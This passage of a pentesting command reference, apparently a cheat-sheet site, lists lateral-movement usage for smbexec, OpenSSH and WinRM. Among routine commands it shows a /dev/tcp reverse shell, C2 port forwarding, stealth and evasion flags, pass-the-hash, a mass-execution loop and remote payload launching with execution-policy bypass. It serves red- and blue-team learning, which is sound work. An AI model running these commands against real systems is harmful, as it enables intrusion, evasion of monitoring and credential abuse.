child.root.local/admin:pass@rootdc.root.local ```bash smbexec.py child.root.local/admin:pass@rootdc.root.local ``` Example: ```bash smbexec.py us.corp.local/admin:pass@uk.corp.local ``` Demonstrates lateral movement across trust boundaries using explicit domain credentials. ## Detection Evasion ### smbexec.py -service-name '' admin@192.168.1.10 ```bash smbexec.py -service-name '' admin@192.168.1.10 ``` Attempts to execute with an empty service name to test robustness of parser and logging (may fail on some versions). ## Full Stealth Simulation ### smbexec.py -k -no-pass -mode SERVER -service-name MS_Update admin@target ```bash smbexec.py -k -no-pass -mode SERVER -service-name MS_Update admin@target ``` Example: ```bash smbexec.py -k -no-pass -mode SERVER -service-name MS_Update admin@ws01.local ``` Maximizes stealth by combining Kerberos (no NTLM), Server mode (no share drop), and a deceptive name. ## Key-Based Auth ### smbexec.py -aesKey -dc-ip user@target ```bash smbexec.py -aesKey -dc-ip user@target ``` Example: ```bash smbexec.py -aesKey 8846... -dc-ip 10.10.10.1 administrator@10.10.10.5 ``` Uses AES keys for authentication while pinning the DC to avoid DNS poisoning or spoofing. ## Prompt Handling ### smbexec.py admin@192.168.1.10 ```bash smbexec.py admin@192.168.1.10 ``` If the password is omitted in the command line, smbexec will securely prompt for it. ## Hash Formats ### smbexec.py -hashes LM:NT domain/user@ip ```bash smbexec.py -hashes LM:NT domain/user@ip ``` Example: ```bash smbexec.py -hashes aad3...:8846... corp/user@192.168.1.50 ``` Standard syntax for passing full LM:NT hash pairs for domain accounts. ## Mass Execution Scripting ### for ip in $(cat targets.txt); do smbexec.py admin:pass@$ip; done ```bash for ip in $(cat targets.txt); do smbexec.py admin:pass@$ip; done ``` Conceptual bash loop demonstrating how smbexec is wrapped for mass lateral movement. ## Exit Behavior ### exit ```bash exit ``` Typing exit inside the smbexec shell terminates the remote service and cleans up the binary. ## Related tools - [PsExec](https://terminal.rokibulroni.com/tool/lateral/psexec) - [wmiexec](https://terminal.rokibulroni.com/tool/lateral/wmiexec) # Tool: SSH > OpenSSH: secure remote login, key management, file transfer and port forwarding — local, remote and dynamic SOCKS tunnels. - Category: Lateral Movement - Commands: 85 - Page: https://terminal.rokibulroni.com/tool/lateral/ssh - Homepage: https://www.openssh.com - Documentation: https://man.openbsd.org/ssh - Tags: remote access, tunneling, keys ## Install - apt: `sudo apt install openssh-client` - brew: `brew install openssh` ## Basic Remote Connection ### ssh user@192.168.1.10 ```bash ssh user@192.168.1.10 ``` Establishes a basic interactive SSH session to a remote host using default settings. ### ssh -l user 192.168.1.10 ```bash ssh -l user 192.168.1.10 ``` Example: ```bash ssh -l admin 192.168.1.10 ``` Connects to a remote host specifying the login username with the -l flag. ## Target Specification ### ssh user@example.com -p 2222 ```bash ssh user@example.com -p 2222 ``` Connects to a remote server on a non-standard SSH port. ## Transport Options ### ssh -4 user@192.168.1.10 ```bash ssh -4 user@192.168.1.10 ``` Forces the SSH client to use IPv4 addresses only. ### ssh -6 user@example.com ```bash ssh -6 user@example.com ``` Forces the SSH client to use IPv6 addresses only. ## Authentication Handling ### ssh -o PreferredAuthentications=password user@192.168.1.10 ```bash ssh -o PreferredAuthentications=password user@192.168.1.10 ``` Forces the client to attempt password authentication, ignoring keys or agents. ### ssh -o PreferredAuthentications=publickey user@192.168.1.10 ```bash ssh -o PreferredAuthentications=publickey user@192.168.1.10 ``` Forces the client to use public key authentication only, failing if no key is accepted. ## Key-Based Authentication ### ssh -i ~/.ssh/id_rsa_custom user@192.168.1.10 ```bash ssh -i ~/.ssh/id_rsa_custom user@192.168.1.10 ``` Example: ```bash ssh -i ~/.ssh/deploy_key user@192.168.1.10 ``` Specifies a specific identity file (private key) to use for authentication. ### ssh -i /path/to/key.pem -o IdentitiesOnly=yes user@192.168.1.10 ```bash ssh -i /path/to/key.pem -o IdentitiesOnly=yes user@192.168.1.10 ``` Example: ```bash ssh -i ./aws-key.pem -o IdentitiesOnly=yes ubuntu@192.168.1.10 ``` Uses a specific key and prevents the SSH agent from offering other keys. ## Configuration Usage ### ssh -F /path/to/custom_config host_alias ```bash ssh -F /path/to/custom_config host_alias ``` Example: ```bash ssh -F ./project_config db_server ``` Instructs SSH to use a custom configuration file instead of the default ~/.ssh/config. ## Command Execution ### ssh user@192.168.1.10 'whoami; id; hostname' ```bash ssh user@192.168.1.10 'whoami; id; hostname' ``` Example: ```bash ssh user@192.168.1.10 'ls -la /var/www' ``` Executes a command string on the remote host and exits immediately after returning output. ## Session Control ### ssh -N -f user@192.168.1.10 ```bash ssh -N -f user@192.168.1.10 ``` Goes into the background (-f) and executes no remote command (-N), useful for tunnel setup. ### ssh -T user@192.168.1.10 ```bash ssh -T user@192.168.1.10 ``` Example: ```bash ssh -T git@github.com ``` Disables pseudo-terminal allocation, often used for scripts or file transfers. ### ssh -t user@192.168.1.10 'top' ```bash ssh -t user@192.168.1.10 'top' ``` Example: ```bash ssh -t user@192.168.1.10 'sudo htop' ``` Forces pseudo-terminal allocation, allowing interactive programs like top or sudo to run. ## Output & Logging ### ssh -v user@192.168.1.10 ```bash ssh -v user@192.168.1.10 ``` Enables verbose mode to print debugging messages about the connection progress. ### ssh -vvv user@192.168.1.10 ```bash ssh -vvv user@192.168.1.10 ``` Enables maximum verbosity to debug complex connection, authentication, or config issues. ### ssh -q user@192.168.1.10 command ```bash ssh -q user@192.168.1.10 command ``` Example: ```bash ssh -q user@192.168.1.10 'uptime' ``` Enables quiet mode, suppressing most warning and diagnostic messages. ### ssh -E /tmp/ssh_log.txt -v user@192.168.1.10 ```bash ssh -E /tmp/ssh_log.txt -v user@192.168.1.10 ``` Example: ```bash ssh -E debug.log -v user@192.168.1.10 ``` Appends debug logs to a specific file instead of standard error. ## Connection Optimization ### ssh -C user@192.168.1.10 ```bash ssh -C user@192.168.1.10 ``` Enables compression on the connection, useful for slow links or text-heavy transfers. ### ssh -o ConnectTimeout=5 user@192.168.1.10 ```bash ssh -o ConnectTimeout=5 user@192.168.1.10 ``` Sets a timeout limit in seconds for establishing the TCP connection. ### ssh -o ServerAliveInterval=60 user@192.168.1.10 ```bash ssh -o ServerAliveInterval=60 user@192.168.1.10 ``` Sends a keepalive packet every 60 seconds to prevent the session from timing out. ## Port Forwarding (Local) ### ssh -L 8080:localhost:80 user@192.168.1.10 ```bash ssh -L 8080:localhost:80 user@192.168.1.10 ``` Example: ```bash ssh -L 8080:127.0.0.1:80 user@192.168.1.10 ``` Forwards local port 8080 to port 80 on the remote host (Local Port Forwarding). ### ssh -L 8080:10.0.0.5:80 user@192.168.1.10 ```bash ssh -L 8080:10.0.0.5:80 user@192.168.1.10 ``` Example: ```bash ssh -L 8080:internal-db:5432 user@bastion ``` Forwards local port 8080 through the remote host to a third internal IP address. ## Port Forwarding (Remote) ### ssh -R 8080:localhost:80 user@192.168.1.10 ```bash ssh -R 8080:localhost:80 user@192.168.1.10 ``` Example: ```bash ssh -R 8080:127.0.0.1:80 user@192.168.1.10 ``` Forwards port 8080 on the remote server back to port 80 on the local machine (Remote Port Forwarding). ### ssh -R 0.0.0.0:8080:localhost:80 user@192.168.1.10 ```bash ssh -R 0.0.0.0:8080:localhost:80 user@192.168.1.10 ``` Example: ```bash ssh -R 0.0.0.0:8080:127.0.0.1:80 user@public-vps ``` Exposes the reverse forwarded port 8080 on all interfaces of the remote host (requires GatewayPorts yes). ## Port Forwarding (Dynamic) ### ssh -D 9050 user@192.168.1.10 ```bash ssh -D 9050 user@192.168.1.10 ``` Example: ```bash ssh -D 9050 -N -f user@192.168.1.10 ``` Creates a dynamic SOCKS proxy on local port 9050 that routes traffic through the SSH connection. ## X11 Forwarding ### ssh -X user@192.168.1.10 ```bash ssh -X user@192.168.1.10 ``` Enables X11 forwarding, allowing remote GUI applications to be displayed locally. ### ssh -Y user@192.168.1.10 ```bash ssh -Y user@192.168.1.10 ``` Enables trusted X11 forwarding, bypassing some X11 security checks. ## Host Key Management ### ssh -o StrictHostKeyChecking=no user@192.168.1.10 ```bash ssh -o StrictHostKeyChecking=no user@192.168.1.10 ``` Automatically accepts new host keys without prompting the user. ### ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no user@192.168.1.10 ```bash ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no user@192.168.1.10 ``` Completely ignores known_hosts and accepts all keys, useful for ephemeral lab targets. ## Jump Hosts ### ssh -J jumpuser@jumphost user@192.168.1.20 ```bash ssh -J jumpuser@jumphost user@192.168.1.20 ``` Example: ```bash ssh -J admin@bastion.corp.com developer@internal-app ``` Uses the -J flag to transparently proxy the connection through an intermediate jump host. ### ssh -J user1@host1,user2@host2 user@target ```bash ssh -J user1@host1,user2@host2 user@target ``` Example: ```bash ssh -J entry@bastion1,internal@bastion2 root@deep-target ``` Chains multiple jump hosts in sequence to reach a deep internal network target. ## Proxy Command ### ssh -o ProxyCommand='ssh -W %h:%p user@jumphost' user@target ```bash ssh -o ProxyCommand='ssh -W %h:%p user@jumphost' user@target ``` Example: ```bash ssh -o ProxyCommand='ssh -W %h:%p jumpuser@1.2.3.4' user@10.0.0.5 ``` Legacy method to proxy connections using netcat-style forwarding via an intermediate host. ### ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:9050 %h %p' user@target ```bash ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:9050 %h %p' user@target ``` Example: ```bash ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:9050 %h %p' user@hidden ``` Routes the SSH connection through a local SOCKS5 proxy (e.g., Tor or another SSH tunnel). ## Agent Forwarding ### ssh -A user@192.168.1.10 ```bash ssh -A user@192.168.1.10 ``` Forwards the local SSH authentication agent to the remote host, allowing subsequent hops. ### ssh -a user@192.168.1.10 ```bash ssh -a user@192.168.1.10 ``` Explicitly disables agent forwarding to prevent credential theft risks on the remote host. ## Multiplexing ### ssh -M -S /tmp/ssh_mux_%r@%h:%p user@192.168.1.10 ```bash ssh -M -S /tmp/ssh_mux_%r@%h:%p user@192.168.1.10 ``` Example: ```bash ssh -M -S /tmp/mysocket user@192.168.1.10 ``` Establishes a master connection socket for connection multiplexing (-M) at a specific path (-S). ### ssh -S /tmp/ssh_mux_%r@%h:%p user@192.168.1.10 command ```bash ssh -S /tmp/ssh_mux_%r@%h:%p user@192.168.1.10 command ``` Example: ```bash ssh -S /tmp/mysocket user@192.168.1.10 'uptime' ``` Reuses an existing master connection socket to execute commands instantly without re-authentication. ### ssh -O check -S /tmp/ssh_mux_%r@%h:%p user@192.168.1.10 ```bash ssh -O check -S /tmp/ssh_mux_%r@%h:%p user@192.168.1.10 ``` Example: ```bash ssh -O check -S /tmp/mysocket user@192.168.1.10 ``` Checks the status of an active multiplexed control socket. ### ssh -O exit -S /tmp/ssh_mux_%r@%h:%p user@192.168.1.10 ```bash ssh -O exit -S /tmp/ssh_mux_%r@%h:%p user@192.168.1.10 ``` Example: ```bash ssh -O exit -S /tmp/mysocket user@192.168.1.10 ``` Gracefully closes the master multiplexing connection and socket. ## Security & Encryption ### ssh -c aes256-gcm@openssh.com user@192.168.1.10 ```bash ssh -c aes256-gcm@openssh.com user@192.168.1.10 ``` Forces the connection to use a specific encryption cipher. ### ssh -m hmac-sha2-512 user@192.168.1.10 ```bash ssh -m hmac-sha2-512 user@192.168.1.10 ``` Forces the connection to use a specific Message Authentication Code (MAC) algorithm. ### ssh -o KexAlgorithms=curve25519-sha256 user@192.168.1.10 ```bash ssh -o KexAlgorithms=curve25519-sha256 user@192.168.1.10 ``` Specifies the Key Exchange (KEX) algorithms the client will propose. ### ssh -o HostKeyAlgorithms=+ssh-rsa user@legacy-host ```bash ssh -o HostKeyAlgorithms=+ssh-rsa user@legacy-host ``` Example: ```bash ssh -o HostKeyAlgorithms=+ssh-rsa user@192.168.1.5 ``` Enables legacy host key algorithms (like ssh-rsa) for connecting to outdated servers. ## File Transfer (SCP) ### scp localfile.txt user@192.168.1.10:/tmp/ ```bash scp localfile.txt user@192.168.1.10:/tmp/ ``` Example: ```bash scp exploit.py user@192.168.1.10:/tmp/ ``` Securely copies a local file to a remote destination. ### scp -r folder/ user@192.168.1.10:/tmp/ ```bash scp -r folder/ user@192.168.1.10:/tmp/ ``` Example: ```bash scp -r tools/ user@192.168.1.10:/opt/ ``` Recursively copies a local directory and its contents to a remote destination. ### scp -P 2222 user@192.168.1.10:/remote/file.txt . ```bash scp -P 2222 user@192.168.1.10:/remote/file.txt . ``` Example: ```bash scp -P 2222 user@192.168.1.10:/etc/passwd . ``` Downloads a file from a remote host listening on a non-standard port. ## File Transfer (SFTP) ### sftp user@192.168.1.10 ```bash sftp user@192.168.1.10 ``` Starts an interactive Secure File Transfer Protocol session. ### sftp -b batchfile.txt user@192.168.1.10 ```bash sftp -b batchfile.txt user@192.168.1.10 ``` Example: ```bash sftp -b commands.sftp user@192.168.1.10 ``` Runs SFTP in batch mode, executing commands listed in a file non-interactively. ## Advanced Configuration ### ssh -o BatchMode=yes user@192.168.1.10 ```bash ssh -o BatchMode=yes user@192.168.1.10 ``` Example: ```bash ssh -o BatchMode=yes user@192.168.1.10 'date' ``` Disables all interactive prompts (passwords, key confirmations), useful for scripts. ### ssh -o EscapeChar=none user@192.168.1.10 ```bash ssh -o EscapeChar=none user@192.168.1.10 ``` Disables the escape character (default ~), allowing transparent binary data transfer. ### ssh -e ^ user@192.168.1.10 ```bash ssh -e ^ user@192.168.1.10 ``` Sets the session escape character to the caret symbol (^) instead of tilde (~). ## Lateral Movement ### ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -o LogLevel=ERROR user@192.168.1.10 ```bash ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -o LogLevel=ERROR user@192.168.1.10 ``` A stealthy connection profile that ignores host keys and suppresses warnings for red team ops. ### ssh -L 8080:127.0.0.1:80 -N user@192.168.1.10 ```bash ssh -L 8080:127.0.0.1:80 -N user@192.168.1.10 ``` Establishes a background tunnel to access a remote localhost service (like an admin panel) locally. ### ssh -R 1234:127.0.0.1:4444 user@192.168.1.10 ```bash ssh -R 1234:127.0.0.1:4444 user@192.168.1.10 ``` Example: ```bash ssh -R 1234:127.0.0.1:4444 user@compromised-server ``` Remote forwards a port on the compromised server back to a local C2 listener. ### ssh -D 1080 -f -C -q -N user@192.168.1.10 ```bash ssh -D 1080 -f -C -q -N user@192.168.1.10 ``` Backgrounds a compressed, quiet dynamic SOCKS proxy for pivoting tools like proxychains. ### ssh -o ProxyCommand='ssh -W %h:%p user@pivot' user@target ```bash ssh -o ProxyCommand='ssh -W %h:%p user@pivot' user@target ``` Example: ```bash ssh -o ProxyCommand='ssh -W %h:%p pivot-user@10.0.0.1' root@10.0.0.2 ``` Manual double-hop lateral movement using ProxyCommand when -J is unavailable. ### ssh user@192.168.1.10 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1' ```bash ssh user@192.168.1.10 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1' ``` Executes a reverse shell command immediately upon connection. ### ssh -o PermitLocalCommand=yes -o LocalCommand='xterm' user@192.168.1.10 ```bash ssh -o PermitLocalCommand=yes -o LocalCommand='xterm' user@192.168.1.10 ``` Example: ```bash ssh -o PermitLocalCommand=yes -o LocalCommand='scp %r@%h:secret.txt .' user@192.168.1.10 ``` Executes a local command automatically after a successful connection is established. ## Tunneling & VPN ### ssh -w 0:0 user@192.168.1.10 ```bash ssh -w 0:0 user@192.168.1.10 ``` Example: ```bash ssh -w 0:0 root@192.168.1.10 ``` Creates a Layer 3 TUN device tunnel (requires root on both ends and PermitTunnel yes). ### ssh -w 5:5 -o Tunnel=ethernet user@192.168.1.10 ```bash ssh -w 5:5 -o Tunnel=ethernet user@192.168.1.10 ``` Example: ```bash ssh -w 5:5 -o Tunnel=ethernet root@192.168.1.10 ``` Creates a Layer 2 TAP device tunnel for bridging Ethernet segments. ## Authentication Debugging ### ssh -v -o PubkeyAuthentication=no user@192.168.1.10 ```bash ssh -v -o PubkeyAuthentication=no user@192.168.1.10 ``` Debugs authentication failures by forcing a fallback to password or keyboard-interactive modes. ## Key Generation (Support) ### ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C 'comment' ```bash ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C 'comment' ``` Example: ```bash ssh-keygen -t ed25519 -f ~/.ssh/ops_key -C 'ops-team' ``` Generates a modern Ed25519 SSH key pair for secure authentication. ## Key Management (Support) ### ssh-keygen -R 192.168.1.10 ```bash ssh-keygen -R 192.168.1.10 ``` Removes a specific host key from the known_hosts file to resolve man-in-the-middle warnings. ### ssh-copy-id -i ~/.ssh/id_ed25519.pub user@192.168.1.10 ```bash ssh-copy-id -i ~/.ssh/id_ed25519.pub user@192.168.1.10 ``` Example: ```bash ssh-copy-id -i ~/.ssh/ops_key.pub user@192.168.1.10 ``` Installs a public key onto a remote server's authorized_keys file. ### ssh-keygen -y -f private_key.pem > public_key.pub ```bash ssh-keygen -y -f private_key.pem > public_key.pub ``` Example: ```bash ssh-keygen -y -f id_rsa > id_rsa.pub ``` Derives the public key from a private key file. ### ssh-keygen -p -f ~/.ssh/id_rsa ```bash ssh-keygen -p -f ~/.ssh/id_rsa ``` Changes the passphrase of an existing private key without regenerating the key. ## Red Team Ops ### ssh -o ControlPath=~/.ssh/%r@%h:%p -o ControlMaster=auto -o ControlPersist=10m user@192.168.1.10 ```bash ssh -o ControlPath=~/.ssh/%r@%h:%p -o ControlMaster=auto -o ControlPersist=10m user@192.168.1.10 ``` Example: ```bash ssh -o ControlPath=/tmp/%r -o ControlMaster=auto -o ControlPersist=yes user@192.168.1.10 ``` Maintains a persistent background connection socket to speed up subsequent lateral movement commands. ### ssh -o SendEnv=GIT_* user@192.168.1.10 ```bash ssh -o SendEnv=GIT_* user@192.168.1.10 ``` Example: ```bash ssh -o SendEnv=MY_VAR user@192.168.1.10 ``` Passes specific local environment variables to the remote session (requires AcceptEnv on server). ### ssh -t user@192.168.1.10 'screen -R malicious_session' ```bash ssh -t user@192.168.1.10 'screen -R malicious_session' ``` Example: ```bash ssh -t user@192.168.1.10 'tmux attach -t session' ``` Connects and immediately attaches to a persistent terminal multiplexer session. ## Defensive Validation ### ssh -G user@192.168.1.10 ```bash ssh -G user@192.168.1.10 ``` Prints the full resolved configuration for a host connection without actually connecting. ### ssh -Q cipher ```bash ssh -Q cipher ``` Lists all encryption ciphers supported by the local SSH client. ### ssh -Q mac ```bash ssh -Q mac ``` Lists all Message Authentication Code (MAC) algorithms supported by the client. ### ssh -Q kex ```bash ssh -Q kex ``` Lists all Key Exchange (KEX) algorithms supported by the client. ## Certificate Authentication ### ssh -o CertificateFile=id_rsa-cert.pub user@192.168.1.10 ```bash ssh -o CertificateFile=id_rsa-cert.pub user@192.168.1.10 ``` Example: ```bash ssh -o CertificateFile=~/.ssh/id_user-cert.pub user@192.168.1.10 ``` Authenticates using a signed SSH certificate instead of a raw public key. ## Agent Management ### ssh-add -l ```bash ssh-add -l ``` Lists fingerprints of all identities currently loaded into the SSH agent. ### ssh-add -D ```bash ssh-add -D ``` Deletes all identities from the current SSH agent. ### ssh-add -c ~/.ssh/id_rsa ```bash ssh-add -c ~/.ssh/id_rsa ``` Example: ```bash ssh-add -c ~/.ssh/sensitive_key ``` Adds a key to the agent with constraints, requiring confirmation for each use. ### ssh-add -t 3600 ~/.ssh/id_rsa ```bash ssh-add -t 3600 ~/.ssh/id_rsa ``` Adds a key to the agent with a lifetime limit (e.g., 1 hour), after which it is removed. ## Legacy/Insecure ### ssh -1 user@192.168.1.10 ```bash ssh -1 user@192.168.1.10 ``` Example: ```bash ssh -1 user@old-router ``` Forces SSH protocol version 1 (highly insecure, removed in modern OpenSSH). ## Advanced Workflow ### ssh -o StreamLocalBindUnlink=yes -R /tmp/socket:/tmp/socket user@host ```bash ssh -o StreamLocalBindUnlink=yes -R /tmp/socket:/tmp/socket user@host ``` Example: ```bash ssh -o StreamLocalBindUnlink=yes -R /run/docker.sock:/run/docker.sock user@dev ``` Forwards a Unix domain socket from the remote host to the local machine, cleaning up stale sockets. ### ssh -t user@jump ssh -t user@target ```bash ssh -t user@jump ssh -t user@target ``` Example: ```bash ssh -t user@bastion ssh -t user@db-server ``` Manual chain loading of SSH sessions where -J is not supported or shell interaction is needed at each hop. ### ssh -o RemoteCommand='ls -la' user@192.168.1.10 ```bash ssh -o RemoteCommand='ls -la' user@192.168.1.10 ``` Example: ```bash ssh -o RemoteCommand='uptime' user@192.168.1.10 ``` Specifies the command to execute on the remote host via the configuration option rather than argument. ### ssh -o IPQoS=throughput user@192.168.1.10 ```bash ssh -o IPQoS=throughput user@192.168.1.10 ``` Optimizes the Quality of Service (QoS) flags for high-throughput bulk data transfer. ### ssh -o IPQoS=lowdelay user@192.168.1.10 ```bash ssh -o IPQoS=lowdelay user@192.168.1.10 ``` Optimizes QoS flags for low-latency interactive sessions. ## Related tools - [socat](https://terminal.rokibulroni.com/tool/utilities/socat) - [Chisel](https://terminal.rokibulroni.com/tool/pivoting/chisel) - [sshuttle](https://terminal.rokibulroni.com/tool/pivoting/sshuttle) # Tool: WinRM > Windows Remote Management from Linux and PowerShell: Enter-PSSession, Invoke-Command and service configuration. - Category: Lateral Movement - Commands: 60 - Page: https://terminal.rokibulroni.com/tool/lateral/winrm - Homepage: https://learn.microsoft.com/windows/win32/winrm/portal - Documentation: https://learn.microsoft.com/powershell/scripting/learn/remoting/running-remote-commands - Tags: WinRM, PowerShell, remote management ## Basic Configuration ### winrm quickconfig ```bash winrm quickconfig ``` Configures the WinRM service with default settings and enables the firewall exception. ### winrm quickconfig -quiet ```bash winrm quickconfig -quiet ``` Configures WinRM non-interactively without prompting for confirmation. ## Service Status ### winrm get winrm/config ```bash winrm get winrm/config ``` Retrieves the full current configuration state of both Client and Service components. ### Test-WSMan ```bash Test-WSMan ``` Tests the local WinRM service to ensure it is responding to requests. ## Target Specification ### Test-WSMan -ComputerName 192.168.1.10 ```bash Test-WSMan -ComputerName 192.168.1.10 ``` Verifies that the WinRM service is accessible and listening on a remote target. ### Test-WSMan -ComputerName 192.168.1.10 -Port 5985 ```bash Test-WSMan -ComputerName 192.168.1.10 -Port 5985 ``` Tests WinRM connectivity on a specific HTTP port. ### Test-WSMan -ComputerName 192.168.1.10 -Port 5986 -UseSSL ```bash Test-WSMan -ComputerName 192.168.1.10 -Port 5986 -UseSSL ``` Tests WinRM connectivity over HTTPS using the default secure port. ## Listener Configuration ### winrm enumerate winrm/config/listener ```bash winrm enumerate winrm/config/listener ``` Lists all configured WinRM listeners and their specific settings. ### winrm create winrm/config/Listener?Address=*+Transport=HTTP ```bash winrm create winrm/config/Listener?Address=*+Transport=HTTP ``` Creates a new listener that accepts HTTP connections on all network interfaces. ### winrm create winrm/config/Listener?Address=*+Transport=HTTPS @{Hostname="server.domain.com";CertificateThumbprint="THUMB ```bash winrm create winrm/config/Listener?Address=*+Transport=HTTPS @{Hostname="server.domain.com";CertificateThumbprint="THUMBPRINT_GOES_HERE"} ``` Example: ```bash winrm create winrm/config/Listener?Address=*+Transport=HTTPS @{Hostname="server.domain.com";CertificateThumbprint="A1B2C3D4E5F6..."} ``` Creates a secure HTTPS listener bound to a specific certificate thumbprint. ## Client Configuration ### Set-Item WSMan:\localhost\Client\TrustedHosts -Value "192.168.1.10" ```bash Set-Item WSMan:\localhost\Client\TrustedHosts -Value "192.168.1.10" ``` Adds a specific IP address to the TrustedHosts list to allow unauthenticated connection establishment. ### Set-Item WSMan:\localhost\Client\TrustedHosts -Value "*" -Force ```bash Set-Item WSMan:\localhost\Client\TrustedHosts -Value "*" -Force ``` Configures the client to trust all hosts, often used in lab environments for testing. ### Get-Item WSMan:\localhost\Client\TrustedHosts ```bash Get-Item WSMan:\localhost\Client\TrustedHosts ``` Displays the current list of trusted hosts configured on the client. ## Service Configuration ### winrm set winrm/config/service @{AllowUnencrypted="true"} ```bash winrm set winrm/config/service @{AllowUnencrypted="true"} ``` Enables the service to accept unencrypted traffic, typically for debugging or legacy support. ### winrm set winrm/config/service/auth @{Basic="true"} ```bash winrm set winrm/config/service/auth @{Basic="true"} ``` Enables Basic authentication on the service, allowing plain text credentials over the connection. ## Interactive Session ### Enter-PSSession -ComputerName 192.168.1.10 -Credential (Get-Credential) ```bash Enter-PSSession -ComputerName 192.168.1.10 -Credential (Get-Credential) ``` Starts an interactive PowerShell session on the remote computer using prompted credentials. ### Enter-PSSession -ComputerName 192.168.1.10 -Authentication Negotiate ```bash Enter-PSSession -ComputerName 192.168.1.10 -Authentication Negotiate ``` Connects using Negotiate authentication, which attempts Kerberos and falls back to NTLM. ### Enter-PSSession -ComputerName 192.168.1.10 -Authentication Kerberos ```bash Enter-PSSession -ComputerName 192.168.1.10 -Authentication Kerberos ``` Forces Kerberos authentication, requiring correct SPNs and domain trust. ## Legacy Execution ### winrs -r:http://192.168.1.10:5985 -u:Admin -p:Pass cmd ```bash winrs -r:http://192.168.1.10:5985 -u:Admin -p:Pass cmd ``` Uses the legacy WinRS tool to launch a command prompt on the remote host via HTTP. ### winrs -r:https://192.168.1.10:5986 -u:Admin -p:Pass -ssl "ipconfig /all" ```bash winrs -r:https://192.168.1.10:5986 -u:Admin -p:Pass -ssl "ipconfig /all" ``` Executes a single command remotely over HTTPS using legacy WinRS syntax. ## Remote Command Execution ### Invoke-Command -ComputerName 192.168.1.10 -ScriptBlock { Get-Process } ```bash Invoke-Command -ComputerName 192.168.1.10 -ScriptBlock { Get-Process } ``` Executes a PowerShell script block on the remote machine and returns objects to the local session. ### Invoke-Command -ComputerName 192.168.1.10 -FilePath .\script.ps1 ```bash Invoke-Command -ComputerName 192.168.1.10 -FilePath .\script.ps1 ``` Reads a local PowerShell script file and executes its contents on the remote system. ### Invoke-Command -ComputerName 192.168.1.10 -ScriptBlock { param($p) Write-Host $p } -ArgumentList "Hello" ```bash Invoke-Command -ComputerName 192.168.1.10 -ScriptBlock { param($p) Write-Host $p } -ArgumentList "Hello" ``` Passes local arguments into the remote script block for dynamic execution. ## Session Management ### $s = New-PSSession -ComputerName 192.168.1.10 -Credential (Get-Credential) ```bash $s = New-PSSession -ComputerName 192.168.1.10 -Credential (Get-Credential) ``` Creates a persistent PowerShell session object stored in a variable for reuse. ### Invoke-Command -Session $s -ScriptBlock { hostname } ```bash Invoke-Command -Session $s -ScriptBlock { hostname } ``` Executes a command inside an existing persistent session without re-authenticating. ### Get-PSSession ```bash Get-PSSession ``` Lists all active PowerShell sessions maintained by the local client. ### Remove-PSSession -Session $s ```bash Remove-PSSession -Session $s ``` Closes the specified persistent session and frees resources. ### Disconnect-PSSession -Id 1 ```bash Disconnect-PSSession -Id 1 ``` Disconnects a session but leaves it running on the remote host for later reconnection. ### Connect-PSSession -ComputerName 192.168.1.10 -Id 1 ```bash Connect-PSSession -ComputerName 192.168.1.10 -Id 1 ``` Reconnects to a previously disconnected session on a remote machine. ## File Transfer ### Copy-Item -Path .\tool.exe -Destination C:\Temp\ -ToSession $s ```bash Copy-Item -Path .\tool.exe -Destination C:\Temp\ -ToSession $s ``` Uploads a local file to the remote system using an existing WinRM session. ### Copy-Item -Path C:\Logs\remote.log -Destination .\ -FromSession $s ```bash Copy-Item -Path C:\Logs\remote.log -Destination .\ -FromSession $s ``` Downloads a file from the remote system to the local machine via WinRM. ## Lateral Movement ### Invoke-Command -ComputerName 192.168.1.10 -Authentication Credssp -Credential (Get-Credential) -ScriptBlock { Get-Servic ```bash Invoke-Command -ComputerName 192.168.1.10 -Authentication Credssp -Credential (Get-Credential) -ScriptBlock { Get-Service } ``` Uses CredSSP authentication to allow the remote host to delegate the user's credentials to a second hop. ### Invoke-Command -ComputerName 192.168.1.10 -ScriptBlock { Start-Process powershell -ArgumentList '-NoProfile -ExecutionPo ```bash Invoke-Command -ComputerName 192.168.1.10 -ScriptBlock { Start-Process powershell -ArgumentList '-NoProfile -ExecutionPolicy Bypass -File C:\payload.ps1' } ``` Remotely triggers a payload execution using Start-Process to detach from the WinRM shell. ## Red Team Ops ### Invoke-Command -ComputerName 192.168.1.10 -AsJob -ScriptBlock { 1..100 | ForEach-Object { Start-Sleep 1; $_ } } ```bash Invoke-Command -ComputerName 192.168.1.10 -AsJob -ScriptBlock { 1..100 | ForEach-Object { Start-Sleep 1; $_ } } ``` Runs a long-running process as a background job on the remote host to avoid hanging the console. ### Receive-Job -Id 1 -Keep ```bash Receive-Job -Id 1 -Keep ``` Retrieves the output from a background remote job while keeping the data available for future retrieval. ## Advanced Configuration ### Set-Item WSMan:\localhost\Shell\MaxMemoryPerShellMB 1024 ```bash Set-Item WSMan:\localhost\Shell\MaxMemoryPerShellMB 1024 ``` Increases the memory limit for remote shells, useful when running memory-intensive tools remotely. ### winrm set winrm/config/winrs @{MaxShellsPerUser="50"} ```bash winrm set winrm/config/winrs @{MaxShellsPerUser="50"} ``` Increases the maximum number of concurrent shells allowed per user. ## Purple Team Validation ### Invoke-Command -ComputerName 192.168.1.10 -ScriptBlock { whoami /priv } ```bash Invoke-Command -ComputerName 192.168.1.10 -ScriptBlock { whoami /priv } ``` Checks the privilege level of the current remote session to validate successful elevation. ### Invoke-Command -ComputerName 192.168.1.10 -ScriptBlock { Get-MpComputerStatus } ```bash Invoke-Command -ComputerName 192.168.1.10 -ScriptBlock { Get-MpComputerStatus } ``` Remotely queries Windows Defender status to check for exclusions or real-time protection state. ## Blue Team Detection ### Get-WinEvent -LogName "Microsoft-Windows-WinRM/Operational" -MaxEvents 10 ```bash Get-WinEvent -LogName "Microsoft-Windows-WinRM/Operational" -MaxEvents 10 ``` Queries local WinRM operational logs to detect recent incoming connections and errors. ### Invoke-Command -ComputerName 192.168.1.10 -ScriptBlock { Get-WinEvent -LogName 'Security' -FilterXPath "*[System[EventID ```bash 